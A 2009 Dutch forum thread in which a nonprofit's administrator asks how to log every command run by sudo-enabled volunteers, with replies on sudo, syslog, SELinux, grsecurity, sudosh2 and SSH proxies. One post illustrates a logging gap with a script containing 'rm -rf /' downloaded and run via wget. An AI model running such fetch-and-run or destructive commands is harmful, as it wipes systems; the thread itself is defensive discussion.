Alles op server loggen

[Parasietje]

Wij zijn een vzw die IT-diensten aanbiedt. Op onze servers staan vrij gevoelige data, en die willen we dan ook deftig beveiligen. We geven echter een aantal vrijwilligers sudo-toegang op die bakken.

Wat we nu willen doen, is alle commands die op die bak uitgevoerd worden, doorsturen naar een logging server. Een medewerker kan zo nog altijd met gevoelige data weglopen, maar dan kunnen we hem/haar tenminste snappen.

Nu rest enkel nog de vraag: hoe doe ik dit? Ik kan natuurlijk een eigen shell maken, waarin elk commando dat wordt uitgevoerd naar syslog wordt gestuurd, maar bestaan hier geen kant-en-klare oplossingen voor? Liefst nog op kernel-niveau.

[r0b]

.bash_history
Moet je deze nog wel real-time cq regelmatig ergens anders heen schrijven.

Dit in het achterhoofd houdend dat als de persoon weet dat alles gelogd wordt hij er altijd natuurlijk omheen kan werken (.bash_history verwijderen / handmatig aanpassen / tijdelijk write rechten weghalen en terugzetten wanneer hij klaar is, etc.)

Dit topic is ook wel interessant: http://www.mac-forums.com...bash-session-quietly.html
Samen met deze blog post: http://www.zarrelli.org/b...ory-audit-linux-gnulinux/

[google=bash audit] of [google=bash auditing], zal je denk ik al een stuk op weg helpen.

[ Voor 32% gewijzigd door r0b op 13-06-2009 17:15 ]

[Verwijderd]

Je snapt hopelijk dat er ook iets is als een history file? Daarin worden alle commando's opgeslagen die zijn uitgevoerd? Daarom is sudo van belang omdat alles wordt gelogged in de history.

En waarom zou je dit soort dingen op kernel niveau willen hebben? Een kernel moet zich alleen houden waar een kernel zich bezig moet houden: intermedaire zijn tussen software en hardware.

[ Voor 34% gewijzigd door Verwijderd op 13-06-2009 17:17 ]

[Super_ik]

bash history is wel erg weinig info nietwaar?
als iemand dan sh start is dat 't laatste wat je hebt gezien
en wat iemand allemaal aanpast met ie vim zul je ook nooit weten in de bash_history, je weet niet eens welke file, als ie die past opent in vim

[ Voor 13% gewijzigd door Super_ik op 13-06-2009 17:27 ]

[Bob]

Om de core van het probleem aan te pakken moet je misschien eens zoeken naar het loggen van filesystem access. Als de vertrouwelijke info op een apart filesystem staat moet dit gemakkelijk te doen zijn, nee?

[Verwijderd]

Maar waarom wil TS het op deze manier aanpakken van het gebruik maken van vrijwilligers?
Valt er niet iets te automatiseren in de vorm van een shellscript?

[ Voor 22% gewijzigd door Verwijderd op 13-06-2009 17:35 ]

[r0b]

Super_ik schreef op zaterdag 13 juni 2009 @ 17:26:
bash history is wel erg weinig info nietwaar?
als iemand dan sh start is dat 't laatste wat je hebt gezien
en wat iemand allemaal aanpast met ie vim zul je ook nooit weten in de bash_history, je weet niet eens welke file, als ie die past opent in vim

Daar heb je gelijk in. Maar....

Verwijderd schreef op zaterdag 13 juni 2009 @ 17:34:
Maar waarom wil TS het op deze manier aanpakken van het gebruik maken van vrijwilligers?
Valt er niet iets te automatiseren in de vorm van een shellscript?

.. dat is misschien een betere insteek; wáárom hebben ze 1) uberhaupt toegang, 2) kan dat anders?

Ik heb nu zelf een vrij simpele oplossing voor wat dingen (toevoegen van nieuwe domeinen in vhosts.conf / automatisch mappen aanmaken); een php pagina met login + input checking die na validatie via ssh2_exec een shell scriptje aanspreekt die vervolgens weer automatisch de juiste handelingen uitvoert. Dit alles zit nog weer achter een .htaccess beveiliging, en dat is hier eigenlijk afdoende.

[CyBeR]

Zoek een OS dat fatsoenlijke Auditing ondersteunt. (Trusted) Solaris is een voorbeeld (en afaik is Trusted Solaris gewoon een onderdeel van Solaris 10.) Dat is gemaakt om precies jouw probleem op te lossen.

[ Voor 16% gewijzigd door CyBeR op 13-06-2009 18:09 ]

[Verwijderd]

Wat mij ineens te binnen schiet. Heb jullie wel /etc/sudoers wel goed geedit voor die vrijwilligers?
Als je ze de rechten geeft tot de apps die ze nodig hebben.

Maar dan nog kan ik me weinig voorstellen dat je vrijwilligers nodig heb om wat dan ook te doen wat een shellscript niet kan.

[Verwijderd]

CyBeR schreef op zaterdag 13 juni 2009 @ 18:08:
Zoek een OS dat fatsoenlijke Auditing ondersteunt. (Trusted) Solaris is een voorbeeld (en afaik is Trusted Solaris gewoon een onderdeel van Solaris 10.) Dat is gemaakt om precies jouw probleem op te lossen.

Dat is dus: SELinux(dat is nog steeds Linux maar dan wat kernel modules erbij), FreeBSD(> 7.0), OpenBSD, Solaris, AIX zo'n beetje.

[ Voor 6% gewijzigd door Verwijderd op 13-06-2009 18:25 ]

[Verwijderd]

Even een paar opmerkingen van mijn kant:

- Als je shell users niet vertrouwt moet je ze niet op je server toelaten. Punt geen discussie mogelijk.
- Als je mensen die je toch niet helemaal vertrouwt toch iets wil laten uitvoeren op je server werk dan met ssh forced commands.
- Verder kan je sudo nog zo goed inrichten maar als een of andere grapjas een root exploit op je server uitvoert ben je alsnog de klos. Dus hierbij verwijs ik je weer naar het stukje vertrouwen.

Moraal van het verhaal: Een shell account server is bijna onmogelijk goed te beveiligen alles draait om vertrouwen.

Op mijn werk heb ik ook diverse shell account servers en mocht een of andere grapjas daar iets willen uithalen dan kan deze persoon op zeer zware sancties van het management rekenen

[Verwijderd]

1. waarom zou je iemand sudo/root access geven als je ze toch niet vertrouwt?

2. installeer een rootkit

[Boudewijn]

ik gok eerder een rootkit-detectie tool ?

[Arioch]

Wij maken voor dit soort toepassingen gebruik van een remote syslog server (syslog-ng in ons geval).
Over de configuratie is er genoeg te vinden.

[ Voor 11% gewijzigd door Arioch op 13-06-2009 22:49 ]

[smokalot]

Op zich kun je idd een eind komen met een remote log server, maar punt blijft dat als iemand root is op een machine, hij ook kan zorgen dat die remote syslog server niet meer gebruikt wordt.

[Boudewijn]

True, maar tot dat moment kun je alles wel volgen.

[Parasietje]

r0b schreef op zaterdag 13 juni 2009 @ 17:11:
.bash_history

Helemaal niet adequaat genoeg. Iedereen kan gewoon een nieuwe shell openen, of mbv vim kan ik een shell scriptje maken en dat dan uitvoeren.

Bob schreef op zaterdag 13 juni 2009 @ 17:32:
Om de core van het probleem aan te pakken moet je misschien eens zoeken naar het loggen van filesystem access. Als de vertrouwelijke info op een apart filesystem staat moet dit gemakkelijk te doen zijn, nee?

Probleem is dat het postgresql server process ook die data edit. Een sudo gebruiker kan zich heel makkelijk voordoen als postgresql, waardoor filesystem access logging dus niet genoeg is.

Arioch schreef op zaterdag 13 juni 2009 @ 22:48:
Wij maken voor dit soort toepassingen gebruik van een remote syslog server (syslog-ng in ons geval).
Over de configuratie is er genoeg te vinden.

De laatste 3 posts zijn exact wat ik wil. Nu blijft de vraag: hoe zorg ik dat alles richting syslog verstuurd wordt?

Ik ga wat uitzoeken over SELinux, wat daar allemaal mee mogelijk is. Iemand die een goede link heeft over logging met SELinux (loggen welke applicaties worden uitgevoerd, welke bestanden geaccesst worden, ...)? Als dan nog een aparte SQL-client geschreven moet worden met logging support, so be it.


Over de vrijwilligers: de clue is om studentenverenigingen goede IT-diensten te bieden aan weinig geld. Als hun server plat ligt, moet een van onze medewerkers met sudo op die bak kunnen om het op te lossen. We moeten die studentenverenigingen echter wel garanderen dat er niemand met hun data wegloopt. We moeten absoluut kunnen detecteren als zij met dingen sjoemelen (VB: kassatelling-data wijzigen en zelf met het geld gaan lopen, gebruikersinformatie doorverkopen aan bedrijven, totale verkoopscijfers achterhalen, ...)

[Verwijderd]

Parasietje schreef op maandag 15 juni 2009 @ 00:34:
Ik ga wat uitzoeken over SELinux, wat daar allemaal mee mogelijk is. Iemand die een goede link heeft over logging met SELinux

NSA?

Over de vrijwilligers: de clue is om studentenverenigingen goede IT-diensten te bieden aan weinig geld. Als hun server plat ligt, moet een van onze medewerkers met sudo op die bak kunnen om het op te lossen. We moeten die studentenverenigingen echter wel garanderen dat er niemand met hun data wegloopt. We moeten absoluut kunnen detecteren als zij met dingen sjoemelen (VB: kassatelling-data wijzigen en zelf met het geld gaan lopen, gebruikersinformatie doorverkopen aan bedrijven, totale verkoopscijfers achterhalen, ...)

Die gararantie heb je nooit omdat root == "god" is. Dus het enige wat ik dan kan adviseren is door root deactiveren en een account te maken die restricted rights heeft.

[CyBeR]

Verwijderd schreef op maandag 15 juni 2009 @ 17:04:
[...]
NSA?


[...]

Die gararantie heb je nooit omdat root == "god" is. Dus het enige wat ik dan kan adviseren is door root deactiveren en een account te maken die restricted rights heeft.

Dat is wel een beetje het idee achter SELinux en andere Mandatory Access Control-dingen.

[Saturnus]

Parasietje schreef op maandag 15 juni 2009 @ 00:34:
We moeten die studentenverenigingen echter wel garanderen dat er niemand met hun data wegloopt.

Als dat de basis van je probleem is kan je wel gaan loggen, maar dan weet je alleen maar wie wat gedaan heeft en heb je niet voorkomen dat dat gebeurt is.

smokalot schreef op zaterdag 13 juni 2009 @ 23:51:
Op zich kun je idd een eind komen met een remote log server, maar punt blijft dat als iemand root is op een machine, hij ook kan zorgen dat die remote syslog server niet meer gebruikt wordt.

Boudewijn schreef op zondag 14 juni 2009 @ 00:03:
True, maar tot dat moment kun je alles wel volgen.

Wat je dan zou moeten hebben is iets dat wanneer wie dan maar ook die het loggen uitschakelt direct door iets gekicked en gebanned wordt. Dat iets is met sudo vast ook te killen maar stel je hebt er 2 van...waarvan 1 die door de log-server aangestuurd wordt, en wanneer 1 van de 2 gekilled wordt de ander de een ook direct restart. Of het mogelijk is om in linux 2 processen precies tegelijk te killen weet ik niet. Wanneer dat zo zou zijn is het idee natuurlijk al niets meer waard.

[Boudewijn]

Precies tegelijk is per definitie niet mogelijk, maar meteen achter elkaar op zich wel.
Geen idee of je met killall eeneind komt.

Imo zou het gewoon mogelijk moeten zijn om vanuit je ssh daemon alle input en output te loggen, kom je denk ik een heel aardig eind mee (tot iemand een script downloadt en uitvoert...).

[p@dd0]

Parasietje schreef op maandag 15 juni 2009 @ 00:34:
Probleem is dat het postgresql server process ook die data edit. Een sudo gebruiker kan zich heel makkelijk voordoen als postgresql, waardoor filesystem access logging dus niet genoeg is.


[...]

De laatste 3 posts zijn exact wat ik wil. Nu blijft de vraag: hoe zorg ik dat alles richting syslog verstuurd wordt?

Over de vrijwilligers: de clue is om studentenverenigingen goede IT-diensten te bieden aan weinig geld. Als hun server plat ligt, moet een van onze medewerkers met sudo op die bak kunnen om het op te lossen. We moeten die studentenverenigingen echter wel garanderen dat er niemand met hun data wegloopt. We moeten absoluut kunnen detecteren als zij met dingen sjoemelen (VB: kassatelling-data wijzigen en zelf met het geld gaan lopen, gebruikersinformatie doorverkopen aan bedrijven, totale verkoopscijfers achterhalen, ...)

Van de sudo pagina:

Sudo does copious logging of each command, providing a clear audit trail of who did what. When used in tandem with syslogd, the system log daemon, sudo can log all commands to a central host (as well as on the local host). At CU, all admins use sudo in lieu of a root shell to take advantage of this logging.

Sudo is per commando en gebruiker in te stellen en het is zeker niet standaard makkelijk om de db gebruiker te worden.

Maak een testopstelling en ga wat met sudo klooien, dus niet meer "sudo su -" maar "sudo /usr/bin/commandodatjewilt" als je datafiles niet world readable zijn zouden de vrijwilligers deze niet zomaar moeten kunnen kopiëren.

Kortom alle dbacties zijn een sudo commando expliciet door jou in /etc/sudoers op te geven. Alles wordt dan gelogd.

En verders, werk absoluut met getekende security policies voor die vrijwilligers en timmer hun rechten helemaal dicht voor hun loginaccount nog verder in de sudoers file. Zorg dat zij alleen kunnen wat voor hun werk nodig is!

Ohhh kijk qua veilig serveren ook eens naar OpenBSD.

[Verwijderd]

/me volgt dit topic met een big smile

[Verwijderd]

p@dd0 schreef op maandag 15 juni 2009 @ 19:09:
Ohhh kijk qua veilig serveren ook eens naar OpenBSD.

Normaal gesproken zou ik de laatste zijn die OpenBSD niet zou aanraden. Maar in dit geval hangt het enorm vanaf wat het doel van inzet. OpenBSD zijn voor heel veel dingen goed. Nadeel is dat de applicaties die erop zouden moeten komen wel te draaien zonder binary virtualisation.

*offtopic* Tuuk, een reclamefooter van MS over Hyper V virtualisatie.

[ Voor 8% gewijzigd door Verwijderd op 15-06-2009 21:25 ]

[Verwijderd]

\2q3r

[ Voor 97% gewijzigd door Verwijderd op 15-06-2009 21:27 . Reden: *bubbel* ]

[p@dd0]

Verwijderd schreef op maandag 15 juni 2009 @ 21:04:
[...]

Normaal gesproken zou ik de laatste zijn die OpenBSD niet zou aanraden. Maar in dit geval hangt het enorm vanaf wat het doel van inzet. OpenBSD zijn voor heel veel dingen goed. Nadeel is dat de applicaties die erop zouden moeten komen wel te draaien zonder binary virtualisation.

*offtopic* Tuuk, een reclamefooter van MS over Hyper V virtualisatie.

Tja, de apps moeten wel draaien ja...

Zelf heb ik alleen geen apps in dit topic gezien waar OpenBSD problemen mee zou hebben. Sterker nog, ik heb alleen de app postgresql gezien. Dus mis ik iets of weet jij meer?

[netvor]

De suggestie van p@dd0 om met sudo aan de slag te gaan lijkt mij de beste tip van dit topic. Als je in de sudoers file een whitelist van executables opgeeft die de gebruikers met rootrechten uit mogen voeren kan je met behulp van de logging-functies van sudo zelf een redelijk goede audit trail opbouwen.

Cruciaal is echter de selecte van de programma's in die whitelist. Geen (delen) van die programma's mogen writable zijn voor gewone users, en verder moet je voor elk programma verifiëren dat je er slechts één taak mee kan doen: zodra je iets als vi of nano in die whitelist zet kan een gebruiker natuurlijk alles op het systeem aanpassen.

Een externe syslog-server, of speciale "audit-aware" distros, zijn in dit geval een beetje een schijnveiligheid. Zodra de gebruiker programma's als vi met rootrechten kan uitvoeren kan hij alles, en kan hij dus ook de auditing beïnvloeden. OK, met je externe syslog heb je dan wel een aanwijzing dat iemand heeft zitten knoeien, maar als de aanvaller een beetje slim te werk gaat zou hij de audit trail zodanig kunnen manipuleren dat het bewijs van misbruik moeilijk te vinden is (of nog beter, dat het lijkt alsof een andere user het misbruik begaan heeft en zelf vrijuit gaan).

[smesjz]

Als je applicaties plat liggen wil je imho niet gelimiteerd worden door beperkingen van sudo. Dan moet je alles kunnen doen om het probleem te troubleshooten en op te lossen.

Toegang tot de postgres superuser heb je toch nodig, al was het maar voor gebruikersbeheer. Volgens mij kan je dit niet zo maar oplossen. Ik zou het vooral zoeken in goede procedures aangevuld met standaard logging (syslog naar remote host). Volledige veiligheid kan je toch niet technisch en procedureel afdwingen.

Het is ook een kwestie van vertrouwen, net zoals ik xs4all vertrouw dat hun systeembeheer niet mijn mail leest terwijl daar de beveiliging ook niet waterdicht kan zijn. "With great power comes great responsibility" en dat geldt dus ook voor vrijwilligers.

[Rainmaker]

Heb net ook even gegoogled; was hier ook wel in geïnteresseerd.

Kom op 2 serieus, actief ontwikkelde programma's uit:
GRSecurity. Voordeel; draait in-kernel (voor een deel). Nadeel; draait in-kernel (dus een patch die je op de sources moet gaan patchen). Heeft wel full auditing voor alle calls die uitgevoerd worden, en lijkt me moeilijk om hier omheen te komen.

sudosh2. Eigen shell die users met sudo moeten aanroepen (sudo -u root sudosh). Alles wat binnen die shell wordt getypt, wordt gelogd, blijkbaar inclusief vi keystrokes. Voordeel; standalone, niet ingewikkeld. Nadeel; je neemt users "eigen" shell af en is mogelijk omheen te komen door binnen de shell een subshell op te starten (weet niet zeker of dit afgevangen wordt). Ook heb je een remote loghost nodig om de data weg te schrijven omdat je "gebruikers" de logfile lokaal kunnen purgen.

[Parasietje]

Rainmaker schreef op dinsdag 16 juni 2009 @ 22:47:
Heb net ook even gegoogled; was hier ook wel in geïnteresseerd.

Kom op 2 serieus, actief ontwikkelde programma's uit:
GRSecurity. Voordeel; draait in-kernel (voor een deel). Nadeel; draait in-kernel (dus een patch die je op de sources moet gaan patchen). Heeft wel full auditing voor alle calls die uitgevoerd worden, en lijkt me moeilijk om hier omheen te komen.

sudosh2. Eigen shell die users met sudo moeten aanroepen (sudo -u root sudosh). Alles wat binnen die shell wordt getypt, wordt gelogd, blijkbaar inclusief vi keystrokes. Voordeel; standalone, niet ingewikkeld. Nadeel; je neemt users "eigen" shell af en is mogelijk omheen te komen door binnen de shell een subshell op te starten (weet niet zeker of dit afgevangen wordt). Ook heb je een remote loghost nodig om de data weg te schrijven omdat je "gebruikers" de logfile lokaal kunnen purgen.

Deze twee tips zijn de beste van het hele topic.

Zoals eerder ook opgemerkt, kan je sudo niet beperken; als de server niet werkt, moet de beheerder echt root kunnen worden! Om het even met auto's te vergelijken: we willen geen snelheidsbeperking op de auto, we willen een snelheidscamera om iemand te kunnen beboeten als ze te snel gaan. Op weglopen met data staan heel erg serieuze straffen (je kan zelfs de gevangenis invliegen...), dus we hopen dat dat vrijwilligers genoeg afschrikt om niet even snel poen te scheppen met de data.

Als root de logging daemon uitschakelt, behandelen we die als een overtreder; net zoals de politie doet met mensen die snelheidscamera's opblazen ;-)

Even een overzicht van de dingen die ik ga uitproberen:

• Sudo beperken; enkel sudosh2 is toegelaten
• Logging voor SSH daemon
• GRSecurity en SELinux logging

Als iemand echt met de data wil weglopen, dan kan hij dat ongedetecteerd. We hopen alleen dat mensen genoeg afgeschrikt zullen zijn door de security maatregelen dat ze het niet gaan proberen.

Hetgeen wat volledig safe zou zijn, is het decrypteren, loggen en analyseren van alle SSH communicatie op de firewall. Maar ik heb niet echt veel zin om zoiets te schrijven, en ik vrees dat het ook niet bestaat...

[kalizec]

Indien je je gebruikers root-rechten geeft of voldoende rechten om via sudo of andere wijze willekeurige commando's met root-rechten uit te voeren gaat het onmogelijk zijn beveiliging en logging te garanderen. Het is prima mogelijk om de uitvoer richting de logging-server te onderscheppen voor het eerste 'ongewenste' commando van de opdracht daarvoor richting de logging-server gestuurd kan worden.

Kort gezegd, iemand met voldoende rechten en genoeg kennis kan op een machine alles. Die persoon kan dan zelfs de logging richting de logging-server met de informatie over zijn handelingen onderscheppen voor deze verstuurd is.

Nu ik er over na denk, ik kan naast on-the-fly SSH-decryptie (irreeel) en sudo-whitelists maar een alternatief bedenken.

Wil je met een logging-server eea garanderen, dan moet de log gegarandeerd eerder gelogd zijn op een machine waar de gebruikers niet aan kunnen, dan dat het commando uitgevoerd wordt. De enige manier om dat te garanderen is door die logging-server als proxy in te zetten voor ALLE diensten van de te beschermen server.

[Verwijderd]

Btw al eens nagedacht over het volgende:

Hoe waarborg je dat het een voor jullie bekende vrijwilliger is die op de server van de klant inlogged

[Rainmaker]

Verwijderd schreef op maandag 22 juni 2009 @ 00:53:
Btw al eens nagedacht over het volgende:

Hoe waarborg je dat het een voor jullie bekende vrijwilliger is die op de server van de klant inlogged

Kwam vandaag deze tegen: http://www.yubico.com/home/index/

Daarmee heb je een hardware token, wat de security weer wat omhoog gooit.

[ Voor 14% gewijzigd door Rainmaker op 24-06-2009 02:45 ]

[Verwijderd]

Rainmaker schreef op woensdag 24 juni 2009 @ 02:43:
[...]


Kwam vandaag deze tegen: http://www.yubico.com/home/index/

Daarmee heb je een hardware token, wat de security weer wat omhoog gooit.

Zeer interessant product Rainmaker. Die dingetjes zou ik prive of op mijn werk ook wel aardig kunnen gebruiken. Bookmarkje

[netvor]

Rainmaker schreef op woensdag 24 juni 2009 @ 02:43:
Kwam vandaag deze tegen: http://www.yubico.com/home/index/

Daarmee heb je een hardware token, wat de security weer wat omhoog gooit.

Daar heb je in deze context niet veel aan, het versimpelt alleen het authenticatieproces.

In het geval van de TS zijn er slechts een paar mensen met toegang tot de server. Als zij zo stom zijn om hun login/password aan iemand te vertellen zijn ze daar zelf aansprakelijk voor. Trouwens, hier geldt ook het bovengenoemde "root kan toch alles" fenomeen. Als je eenmaal root kan worden kan je password-authenticatie weer aanzetten, een nieuwe user aanmaken, inloggen als die user, en vanaf dat account je rootrechten misbruiken. Maargoed, die discussie was al gevoerd.

[Rainmaker]

netvor schreef op woensdag 24 juni 2009 @ 11:06:
[...]


Daar heb je in deze context niet veel aan, het versimpelt alleen het authenticatieproces.

Niet helemaal. Je kunt het ook als "echt" two-way authenticatiemechanisme gebruiken: http://code.google.com/p/yubico-pam/wiki/YubikeyAndSSHViaPAM

Maar goed. Zelfs al sleutel je je server nog zo dicht; de schoonmaker kan m toch nog in single-user mode gooien en doen wat ie moet doen.

Bottom line is inderdaad: perfecte beveiliging bestaat niet.

En vandaar dat de vraagstelling van de TS ook was hoe hij meuk moest loggen, niet hoe hij het moest dichtspijkeren.

[smokalot]

Rainmaker schreef op woensdag 24 juni 2009 @ 19:41:
[...]

Niet helemaal. Je kunt het ook als "echt" two-way authenticatiemechanisme gebruiken: http://code.google.com/p/yubico-pam/wiki/YubikeyAndSSHViaPAM

ja, dus als alternatief voor een paswoord, dat zegt netvor toch ook?

En vandaar dat de vraagstelling van de TS ook was hoe hij meuk moest loggen, niet hoe hij het moest dichtspijkeren.

Hij wil het loggen gebruiken om dicht te spijkeren, dus ik denk dat de context zeker niet uit het oog verloren moet worden.

Ik bedenk me trouwens nu dat je ook van die console-servers hebt, die sluit je dan serieel aan geloof ik. Het zou wel eens een dure grap kunnen zijn, maar misschien dat zo'n ding wel loggingmogelijkheden heeft, die je niet uit kunt zetten als root, omdat je geen root bent op de console-server. Je gebruikt m dan zeg maar als een keylogger.

[netvor]

smokalot schreef op donderdag 25 juni 2009 @ 00:24:
Ik bedenk me trouwens nu dat je ook van die console-servers hebt, die sluit je dan serieel aan geloof ik. Het zou wel eens een dure grap kunnen zijn, maar misschien dat zo'n ding wel loggingmogelijkheden heeft, die je niet uit kunt zetten als root, omdat je geen root bent op de console-server. Je gebruikt m dan zeg maar als een keylogger.

Dat kan ook goedkoper via het "proxy" idee van kalizec (zie boven). Als je deze proxy samen met de eigenlijke server virtualiseert (uiteraard op metaal waar die vrijwilligers geen toegang tot hebben) kost het je niet eens extra hardware. In de proxy stel je twee netwerkinterfaces in, de eerste "naar buiten toe" en de tweede op een gescheiden netwerk (gescheiden op ethernetniveau, moet kunnen met bijv. vmware) waar ook de eigenlijke server hangt. De proxy is alleen bereikbaar via SSH, de users hebben daar weinig tot geen rechten, en de SSH daemon logt alle keystrokes naar een file (misschien dat je daar een aangepaste openssh voor nodig hebt).

Die logs zijn dan wel verschrikkelijk onoverzichtelijk en moeilijk na te pluizen, maar deze logging is tenminste wel echt waterdicht.

EDIT: een mooie bijkomstigheid is dat je op de proxy af kan dwingen dat je alleen met je (yubico) token in kan loggen en anders niet.

[ Voor 5% gewijzigd door netvor op 25-06-2009 10:32 ]

[Rainmaker]

Een flinke kick, maar deze wou ik jullie even niet onthouden.

Ik kwam net het commando "script" tegen. Erg grappig. Hiermee kun je alle commando's opslaan die een user heeft ingetypt.

2 nadelen: zodra een user "vi" o.i.d. opent, logt script niets meer. Je blijft dus kwetsbaar voor shell escapes e.d.
Een user moet 2 keer uitloggen; 1 keer om script te beindigen, waarbij hij ook netjes meldt dat alles gelogd is en 1 keer om echt uit te loggen.

Is dus niet echt transparant en geheim, maar ik was al langer op zoek naar een dergelijk programmatje (maar nooit zo heel veel moeite in gestoken).

[Boudewijn]

Mja en nog erger: als ik een script download van mijn webserver met daarin:

code:

#!/bin/bash
rm -rf /

Wordt er dan ook alleen maar wget boudewijn.tld/weg.sh ; ./weg.sh gelogd?

Imo zou je gewoon alle system calls af moeten vangen en loggen. In feite dus een soort strace jail draaien.
Dat werkt, het is alleen veel data en slecht voor je performance.

[leuk_he]

Rainmaker schreef op donderdag 16 juli 2009 @ 22:57:
Een user moet 2 keer uitloggen; 1 keer om script te beindigen, waarbij hij ook netjes meldt dat alles gelogd is en 1 keer om echt uit te loggen.

Wat uiteraard al te verbteren is door "script -q" als eerste shell te starten...

usermod -s "script -q" spiedonuser.

(en dan moet je nog iets verzinnen als de gebruiker meer keren inlogd)

In de praktijk kom ik echter ook tegen dat er heeeeeel veel gelogd wordt, maar niemand weet wat (wellicht ook logisch), waardoor er alleen in de heel ernsige gevallen of in de komkomertijd naar gekeken wordt.

[Boudewijn]

Absoluut , maar je kunt dan zelf nog wel filteren naderhand. Het bemoeilijkt het proactief meekijken,maar forensisch gezien zie ik er weinig kwaad in.

[Verwijderd]

Rainmaker schreef op donderdag 16 juli 2009 @ 22:57:
Een flinke kick, maar deze wou ik jullie even niet onthouden.

Ik kwam net het commando "script" tegen.

Dat commando gebruik ik regelmatig bij bijvoorbeeld Debian upgrades.

[Gomez12]

leuk_he schreef op Thursday 16 July 2009 @ 23:06:
[...]
In de praktijk kom ik echter ook tegen dat er heeeeeel veel gelogd wordt, maar niemand weet wat (wellicht ook logisch), waardoor er alleen in de heel ernsige gevallen of in de komkomertijd naar gekeken wordt.

Tja, dat is ook precies waar dit soort logging voor dient, niet voor proactief gebruik maar meer voor : when the shit hits the fan and you want to blame someone...

Een gebruiker met een terminal met kleurtjes produceert met een man page al genoeg controle codes om je log zo goed als onleesbaar te maken voor dagelijks inleeswerk.

Logfiles zijn gewoon niet voor proactief beheer ( als je proactief wilt zijn kan je een interpreter op je logfiles loslaten, maar laat je logfiles aub gewoon lekker loggen )